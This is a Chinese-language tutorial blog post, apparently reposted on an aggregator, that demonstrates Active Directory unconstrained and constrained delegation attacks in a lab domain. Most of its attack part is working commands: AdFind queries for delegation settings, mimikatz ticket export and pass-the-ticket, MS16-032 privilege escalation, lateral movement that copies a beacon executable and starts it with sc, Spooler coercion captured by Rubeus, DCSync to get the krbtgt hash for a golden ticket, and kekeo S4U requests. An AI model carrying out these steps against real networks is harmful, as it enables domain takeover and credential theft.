域内攻击 ----->约束非约束委派攻击

news2025/3/16 13:17:47

在域中,除了我们常见的横向移动以外,还有很多攻击,像什么kerberoasting,委派攻击,NTLMrelay啊...... 还有很多(暂时只知道这些)

以前在一篇公众号看到的一个笑话也荟萃了网安的一些攻击手法!! 其中提到的spooler非约束性委派就是今天要讲的委派攻击之一!!!!  总的来说,委派攻击可以分成以下的三种

  • 非约束性委派
  • 约束性委派
  • 基于资源的约束性委派

基本上就这三种,随便提一下,委派攻击比其他攻击会更难理解!!!

1.委派的介绍

首先,什么是委派呢?

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动

接着,什么样的对象才能被委派呢?

  • 主机账号:活动目中中的Computers组内的计算机,也被称为机器账号
  • 服务账号:域内用户的一种类型,是服务器运行服务时所用的账号。

那么我们去域控上面看一看,顺便说一下本次实验环境

后续实验环境皆在此基础上进行

先来看机器账号,怎么查看域内的机器有几台呢?

net groups "Domain Computers"  /domain

完了喜欢eason被你发现捏) 

然后我们去域控上看,DEV和COMPUTERS这两个组

这两个组的权限不同,DEV组的权限比COMPUTERS的权限大!!!

这两个机器组都是可以设置委派的!!!! 然后就是服务账号

我们随便抓一个用户,他是肯定没有委派这个功能的!!! 我们只需要给他注册一个SPN即可

setspn -A priv/server.god.org server

然后我们再去查看对应的属性

setspn -U -A priv/test server

然后就立刻能在对应的属性里面看见了

然后,就可以开始今天的实验啦!!!!

2.非约束性委派攻击

先来讲一下原理吧!!!

 

其实约束性委派还是好理解,基本上就是Kerberos协议!!那么非约束性委派是怎么产生的呢? 

当用户A去访问web服务器的时候,通过Kerberos认证,用户就能访问web系统上的对应服务,但是web系统可能做了站库分离或者一些操作,导致了web系统需要再去访问文件服务器!!!

于是非约束性委派(委派)就诞生了!!!! ~~~~


  • 前面Kerberos认证和常规的认证没区别,但是在KDC返回的ST中,包含了A用户的TGT
  • 于是Web服务在收到ST之后,就拿着这张TGT再去获取一张通往文件服务器的ST
  • 通过这种ST,web系统就拿到了文件服务器的资源,并且返回给A

这样听起来好像没什么问题,但是事实真的如此吗????

   :::那可当然不是!!!我来讲一下这个问题出现的点

  1. Web服务器会将这个获得到的TGT存储在Lsass进程中,以便下次我们进行身份验证
  2. 配置了非约束性委派导致该Web服务器可以请求域内任意机器的任意服务(用户服务权限高)

所以,非约束性委派的一句话总结就是

用户在拿下非约束性委派的机器,并且通过相应手段拿到高权限的TGT,以此进行PTT

那么下面,我们就来演示一下对应的流程

先去配置一个非约束性委派,然后假设我们获取到了一台域内机器

然后我们去查询域内哪些机器配置了非约束性委派

先把adfind传上去,然后执行以下命令

查询域内配置了非约束性委派的服务账户

shell AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName  

 很庆幸,我们远控的server账户就被配置了非约束性委派

那么我们也不妨去查一下配置了非约束性委派的机器账号

shell  AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"  cn

可以看见,就算我们不做委派,域控默认的就被配置了非约束性委派!!!! 

那么首先,我们先去看一下权限

可以看见当前是无法访问到域控上的东西的!!!!

1.域管主动认证

当然了,这种基本上是不太可能会发生的,但是原理上是行的通的,我们也来演示一下

net use \\server.god.org\c$  "admin@123"  /user:GOD\administrator

先是域馆主动来进行认证 

然后我们就可以去CS上将对应的票据导出

mimikatz sekurlsa::tickets /export

结果发现

不够权限,那么我们就要提权咯,下面就来介绍一下这个CS自带的MS16-032,这个是真的nb

就连Winserver2016都能够提上来,直接是system

直接上线 ,那么此时我们再去导出票据

这这时候可以怎么做?? PTT啊!!!

不是,柠檬的,怎么不可以啊!!!!!  那我们自己传一个mimikatz上去试试?

然后我们再去注一次票

    :: 这不就可以了吗, 牛魔的cs的mimikatz总感觉有点问题

然后后面就是我们熟悉的横向移动了!!!!

shell copy counterstrike.exe   \\owa.god.org\c$

shell sc \\owa.god.org create cs binpath= "cmd.exe /c c:\counterstrike.exe"

shell sc \\owa.god.org start cs

执行即上线

2.Spooler漏洞联动非约束性委派

在现实生活中,是肯定不会有域馆主动来连接我们的,所以我们就要依靠打印机漏洞

这也就是那个乐子的出处

Windows打印系统协议(MS-RPRN)是一种旧的,但是默认启动的方法,在该方法中,域用户可以通过该方法强制让任何运行了Spooler服务的计算机通过Kerberos或者NTLM协议对攻击者选择的目标进行身份验证。

这个服务是默认开启的!!!!! 

那么!!! 开搞   先把rubeus,和spoolsample传上去

然后我们先开着监听

shell Rubeus.exe monitor /interval:1  /filteruser:OWA$   //后面这个是与域控的机器名字

然后强制回连

shell SpoolSample.exe OWA  SERVER

但是呢,就很奇怪了..... 

这玩意咋一点反应都没得啊(我防火墙关了啊!!!)

发现了这个,真的无语了,于是上网查了一下,大部分也是成功的但是也有和我一样失败的

但是不重要,我们直接继续后面的步骤

你会得到这样的一个"TGT",然后就是注票

rebeus.exe ptt /ticket  "刚才的TGT"

然后获取哈希

lsadump::dcsync  /all /csv

然后就能得到KRBTGT的NTLM哈希了!!!  

剩下的就不用我教你了吧,直接黄金票据了!!!

    

3.约束性委派攻击

这个就比较难了,❤❤❤前方高能❤❤❤,发车!!!!

                          

想听懂约束性委派,你就必须要学会一个协议 S4U2 (Service For User To)下的两个子协议

  1. S4U2S(Service For User To Self)
  2. S4U2P(Service For User To Proxy)

对于约束性委派,就要先看一下场景。

当用户不在域内的时候,为了让用户获取到文件服务上的资源,微软引进了S4U2协议

  1. 用户先通过NTLM或者其他认证,认证到WEB系统
  2. 然后Web系统以本机账户去申请一张TGT,然后以用户身份拿着这样TGT去申请ST1
  3. 然后将申请到的ST1返回给用户
  4. 用户再将ST1发给Web系统
  5. Web系统再将对应的ST1发送给KDC,请求ST2(S4U2P)
  6. 在获得了ST2之后,再去访问文件服务器

当然了,之所以叫做约束性委派,原因就是只能访问对应的服务捏!!!!

    ::那么问题出在哪里了呢????

  • WEB服务器可不可以直接伪造域管的身份???  我们在白银票据不是说过吗,如果我们能拿下服务账号的NTLM哈希,那么就能伪造白银票据!!

实施上也正是如此

这个就是通过拿下约束性委派机器的NTLM哈希,伪造Administrator的ST1,然后再去伪造ST2,访问被约束了的对应服务!!!

那么下面,我们来演示一波,先去配置约束性委派

这里我就让他约束为只能访问域控的CIFS服务吧

先去看看什么机器被配置了约束性委派

shell AdFind.exe -b "DC=god,DC=org" -f " (&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

结果发现没有 

然后我们再去查一下服务账户

shell AdFind.exe  -b "DC=god,DC=org" -f " (&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

能查到一个Server的账户,能访问得到域管上的服务,那么我们抓一波哈希

抓到,然后我们申请一张TGT ,这里用kekeo,先传上去

然后我们伪造TGT(这里是以SERVER来做TGT噢,理解这里,你就理解S4U2S了)

shell kekeo.exe "tgt::ask /user:god\server /NTLM:e25bbe456dd96a635f4434511788e502 /domain:god.org" "exit"

可以看见这张TGT

然后我们就以域管得身份去申请一张ST1(S4U2S)

shell kekeo.exe "tgs::s4u /tgt:TGT_god~server@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi  /user:administrator@god.org  /service:cifs/owa.god.org" "exit"

可以看见他在申请了ST1的同时又给我们申请了一张ST2,于是就终于到了最后一步伪造啦!!!

mimikatz kerberos::ptt TGS_administrator@god.org@GOD.ORG_cifs~owa.god.org@GOD.ORG.kirbi

此时,我们就可以去查看域控上的任意东西啦!!!!

但是,能不能传马呢????嘻嘻嘻嘻

肯定不行啊,CIFS只是能访问对应的文件,如果能传马,又怎么教约束性委派呢???/

那么如果域控配置了HOST服务那就可以了   --->(为了节目效果,我们就去配一下)

然后我们就可以申请去域控的服务票据ST2啦,先去清个票

然后就是熟悉的操作

于是就能看见我们的两张票了!!!!!

然后就是熟悉的上马了!!!!但是牛魔了,拒绝访问???

那么如果是ldap服务呢???

然后我们再去做服务

结果发现,服务是能做成功,但是服务运行不起来

但是又没有方法呢???   有!!! 就算只是cifs服务也可以

奇安信攻防社区-红队域渗透技术:委派攻击汇总(全)

可以参考上面的连接,不过他用的是impacket的python脚本(如果目标服务器没有python呢??)

所以网上大部分的委派攻击的文章都是直接到了能dir就结束了,而且约束性委派的攻击利用较少,这里就不演示了!! 

     

当然了,只有两种委派攻击吗,那当然不是,下一张,我们就讲我们的大boss!!!

基于资源的约束性委派--- >>> RBCD

     

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1694957.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

设计模式在芯片验证中的应用——单例

一、单例模式 单例模式(Singleton)是一种创建型设计模式,能够保证一个类只有一个实例, 并提供一个访问该实例的全局节点。验证环境配置(configuration)类、超时(timeout)处理类等可以使用单例实现。比如说验证环境需要在特定场景中监测特定接口上的超时事…

【机器学习300问】97、机器学习中哪些是凸优化问题,哪些是非凸优化问题?

在机器学习的领域中,多数模型的参数估计问题实质上可以转化为优化问题。鉴于机器学习模型的多样性,不同的模型会对应着不同的损失函数,进而形成各具特色的优化问题。了解优化问题的形式和特点,对于提升我们求解模型参数的效率和准…

在 Visual Studio 2022 (VS2022) 中删除 Git 分支的步骤如下

git branch -r PS \MauiApp1> git push origin --delete “20240523备份” git push origin --delete “20240523备份”

推荐五个线上兼职,在家也能轻松日入百元,适合上班族和全职宝妈

在这个瞬息万变的时代,你是否也曾考虑过在繁忙的工作之外,寻找一份兼职副业来补贴家用,同时保持生活的多样性?别急,现在就让我为你揭秘五个可靠的日结线上兼职岗位,助你轻松迈向财务自由之路! 一…

地质考察AR远程交互展示系统辅助老师日常授课

广东这片充满活力的土地,孕育了一家引领ARVR科技潮流的杰出企业——深圳华锐视点,作为一家专注于VR/AR技术研究与业务开发的先锋公司。多年来,我们不断突破技术壁垒,将AR增强现实技术与各行各业的实际需求完美结合,助力…

基于分块贝叶斯非局部均值优化(OBNLM)的图像去噪算法matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 4.1 块定义与相似度计算 ​4.2 贝叶斯框架下的加权融合 4.3 加权最小均方误差估计 5.完整程序 1.程序功能描述 基于分块贝叶斯非局部均值优化(OBNLM)的图像去噪算法matlab仿真&#xff0c…

JAVA线程池的线程数量配置

一 JAVA线程池的线程数量配置 关于线程的配置,线程数量配置多少这个问题呢?往往不同的环境与不同的线程中的代码决定其配置的线程的数量。 二 常见的线程量配置 最常见的方式根据线程中处理的代码划分为CPU密集型或IO密集型: CPU密集型&…

react实现table可拖拽表头(给react-jss样式传递参数、滚动条样式)

目录 react实现table可拖拽表头安装依赖resizableTitle / index.tsxdrapTable.tsx使用DragTable 组件滚动条样式效果 react实现table可拖拽表头 安装依赖 yarn add react-resizable yarn add react-jssresizableTitle / index.tsx import { createUseStyles } from react-js…

【电子学会】2023年09月图形化一级 -- 保护环境

保护环境 1. 准备工作 (1)删除角色小猫,添加角色Wizard,Bear-walking; (2)添加背景Desert和Forest。 2. 功能实现 (1)调整魔法师和熊的大小为50; &…

Linux文本处理三剑客(详解)

一、文本三剑客是什么? 1. 对于接触过Linux操作系统的人来说,应该都听过说Linux中的文本三剑客吧,即awk、grep、sed,也是必须要掌握的Linux命令之一,三者都是用来处理文本的,但侧重点各不相同,a…

MySQL---通用语法及分类

目录 一、SQL通用语法 二、 SQL分类 1.DDL 1.1 DDL数据库操作 1.2 DDL表操作---查询 1.3 DDL表操作---创建​编辑 1.4 DDL表操作---数据类型 1.5 DDL表操作---修改 1.6 DDL表操作---删除 1.7 DDL总结 2. 图形化界面工具DataGrip 2.1 创建 2.2 使用 3. DML 3.1 DML介绍 3.2 DM…

基于开源ATmega8 无感BLDC程序移植到ATmega328PB

基于开源ATmega8 无感BLDC程序移植到ATmega328PB 🔖基于Atmel Studio 7.0开发环境。🥕开源原项目资源地址:https://svn.mikrokopter.de/websvn/listing.php?repnameBL-Ctrl&path%2F&📍原理图和PCB资源 BL-Ctrl v2.0 in E…

【FPGA】VGA显示文字、彩条、图片——基于DE2-115

文章目录 前言一、VGA概述1.1 简述1.2 管脚定义1.3 VGA显示原理1.4 VGA时序标准1.5 VGA 显示模式及相关参数 二、VGA显示自定义的汉字字符2.1 点阵汉字生成2.2 生成BMP文件2.3 生成txt文件2.4 实现效果 三、VGA显示条纹3.1 实现流程3.2 实现效果 四、VGA输出一幅彩色图像4.1 bm…

从旅游广告联想到《桃花源记》

近日收到《长江头条网》等知名网络自媒体相邀,促我写点儿旅游题材的文案。虽说笔者游历过许多名山大川的绝美风景区,但那是在70岁之前的事儿了。如今年逾78岁,纵使有少许自有资本能够支持出游,可体力难撑,岂不是花钱买罪受吗?而且,写没有亲身经历过的事挺难,即便发表出…

Plotly库利用滑块创建数据可视化

使用了Plotly库来创建一个数据可视化图表,并使用滑块来控制显示哪些数据 import plotly.graph_objects as go from plotly.subplots import make_subplots# 示例数据 x [1, 2, 3, 4, 5] y1 [1, 2, 3, 4, 5] y2 [5, 4, 3, 2, 1] y3 [2, 3, 1, 5, 4]# 创建子图 f…

基于jeecgboot-vue3的Flowable增加流程支持组件与element-plus组件导入支持

因为这个项目license问题无法开源,更多技术支持与服务请加入我的知识星球。 1、package.json文件需要增加相关流程组件,如下 "dependencies": {"element-plus/icons-vue": "^2.3.1","highlightjs/vue-plugin":…

JDBCTemplate介绍

Spring JDBC Spring框架对Spring的简单封装。提供一个JDBCTemplate对象简化JDBC开发 *步骤: 1、导入jar包 2、创建JDBCTemplate对象。依赖于数据源DataSource *JdbcTemplate templatenew JdbcTemplate(ds); 3、调用JdbcTemplate的方法来完成CRUD的操作 *update()&…

解决问题:Collecting package metadata (current_repodata.json)--faile

目录 解决步骤: 1、创建pip.ini文件:winR对话框中复制输入:%APPDATA%,然后回车。 2、conda添加清华源: 3、这些创建完,重启电脑就可以创建你的虚拟环境了 4、利用镜像源下载库: 5、查看to…

青鸟云报修系统:实现高效、便捷的维修申请处理

在日常生活和工作中,故障报修难免会遇到,售后报修服务则成为了解决问题的关键。纸质化售后报修维修申请单,作为报修流程中的重要一环,在一定程度上能够记录和追踪售后报修维修流程,但在实际操作过程中却存在着诸多弊端…

C# NetworkStream 流的详解与示例

文章目录 一、NetworkStream类的基本概念1.1 NetworkStream类概述1.2 NetworkStream类属性1.3 NetworkStream类方法 二、NetworkStream的连接方式三、NetworkStream的传输模式四、NetworkStream类示例服务器端代码:客户端代码: 五、总结 在C#中&#xff…